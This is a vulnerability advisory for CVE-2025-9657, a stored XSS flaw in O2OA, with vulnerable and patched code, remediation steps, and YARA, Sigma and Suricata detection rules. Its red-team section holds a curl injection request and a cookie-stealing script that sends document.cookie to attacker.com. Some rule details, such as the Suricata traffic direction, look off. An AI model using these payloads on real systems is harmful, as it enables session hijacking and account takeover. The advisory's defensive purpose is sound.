CVE-2025-9657
Executive Summary
CVE-2025-9657 is a stored cross-site scripting (XSS) vulnerability in O2OA up to version 10.0-410. The flaw exists in the /x_program_center/jaxrs/script endpoint of the Personal Profile Page component. An authenticated attacker can inject malicious scripts via the name, alias, or description parameters, which are then stored and executed in the context of other users' browsers. The CVSS score is 3.5 (Low), but the public availability of exploit code increases the risk. The vendor has acknowledged the issue and will fix it in a future release.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based enterprise application platform. This vulnerability does not directly affect package registries (NPM, PyPI, Go, Ruby). However, organizations using O2OA should verify their deployment version and apply the vendor's patch as soon as it is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a valid user account.
- User Interaction (UI): Required (R) – Victim must view the crafted profile page.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): None (N) – No data exfiltration.
- Integrity (I): Low (L) – Attacker can modify content within the victim's session.
- Availability (A): None (N) – No denial of service.
Threat Level: Low (CVSS 3.5). However, the public exploit and low complexity make it a realistic vector for phishing or session hijacking in targeted attacks.
Deep Dive & Mechanics
The vulnerability resides in the script management endpoint of O2OA's program center. The name, alias, and description parameters are not properly sanitized before being stored and later rendered in the Personal Profile Page. When a victim user views the attacker's profile, the injected JavaScript executes in the victim's browser context.
Attack Flow:
- Attacker authenticates to O2OA.
- Attacker sends a POST/PUT request to
/x_program_center/jaxrs/scriptwith malicious payload inname,alias, ordescription. - The server stores the payload without sanitization.
- Victim navigates to the attacker's profile page.
- The stored payload executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting to a phishing site.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
// No input validation or encoding
public void updateScript(Script script) {
String name = script.getName();
String alias = script.getAlias();
String description = script.getDescription();
// Directly stored without sanitization
scriptDao.update(script);
}
Patched Code (Expected fix):
// Input validation and output encoding
public void updateScript(Script script) {
String name = sanitizeInput(script.getName());
String alias = sanitizeInput(script.getAlias());
String description = sanitizeInput(script.getDescription());
script.setName(name);
script.setAlias(alias);
script.setDescription(description);
scriptDao.update(script);
}
private String sanitizeInput(String input) {
// Use a library like OWASP Java Encoder
return Encode.forHtml(input);
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Valid O2OA user account.
- Network access to the O2OA instance.
Exploit Steps:
- Authenticate and obtain session cookie.
- Send a crafted request to inject XSS payload.
# Example using curl
curl -X POST "https://target.o2oa.com/x_program_center/jaxrs/script" \
-H "Cookie: JSESSIONID=your_session_id" \
-H "Content-Type: application/json" \
-d '{
"name": "<script>alert(1)</script>",
"alias": "test",
"description": "XSS test"
}'
- Victim visits the attacker's profile page and the script executes.
Advanced Payload:
// Steal cookies
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Blue Team (Defender)
Detection:
- Monitor for unusual POST/PUT requests to
/x_program_center/jaxrs/scriptwith HTML/JavaScript in parameters. - Look for outbound connections to unknown domains from O2OA users' browsers.
Mitigation:
- Apply vendor patch as soon as available.
- Implement a Web Application Firewall (WAF) rule to block XSS patterns in the
name,alias, anddescriptionfields. - Restrict user permissions to only necessary functions.
Indicators of Compromise (IOCs)
Network IOCs:
- POST/PUT requests to
/x_program_center/jaxrs/scriptcontaining<script>tags or event handlers (e.g.,onload,onerror). - Outbound HTTP requests to unknown domains from O2OA user browsers.
- POST/PUT requests to
Host IOCs:
- Log entries showing script creation with suspicious content in
name,alias, ordescriptionfields. - Unexpected JavaScript execution in the browser console.
- Log entries showing script creation with suspicious content in
File IOCs:
- No specific file-based IOCs; the attack is stored in the database.
Detection Engineering
YARA Rule
rule CVE_2025_9657_XSS_O2OA {
meta:
description = "Detects XSS payloads in O2OA script parameters"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9657"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['"].*?['"]/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*)
}
Sigma Rule
title: CVE-2025-9657 O2OA XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against O2OA script endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/x_program_center/jaxrs/script'
keywords:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of script tags in profile descriptions (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-9657 O2OA XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/x_program_center/jaxrs/script"; http_uri;
pcre:"/(<script|onerror|onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2025-9657;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade O2OA to version 10.0-411 or later once released.
- If upgrade is not possible, apply a virtual patch via WAF to block XSS patterns in the vulnerable endpoint.
Configuration Hardening:
- Restrict user permissions to only necessary functions.
- Enable input validation and output encoding for all user-supplied data.
Monitoring:
- Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
- Monitor logs for unusual script creation activities.
Long-term:
- Conduct a security review of all user-facing endpoints.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert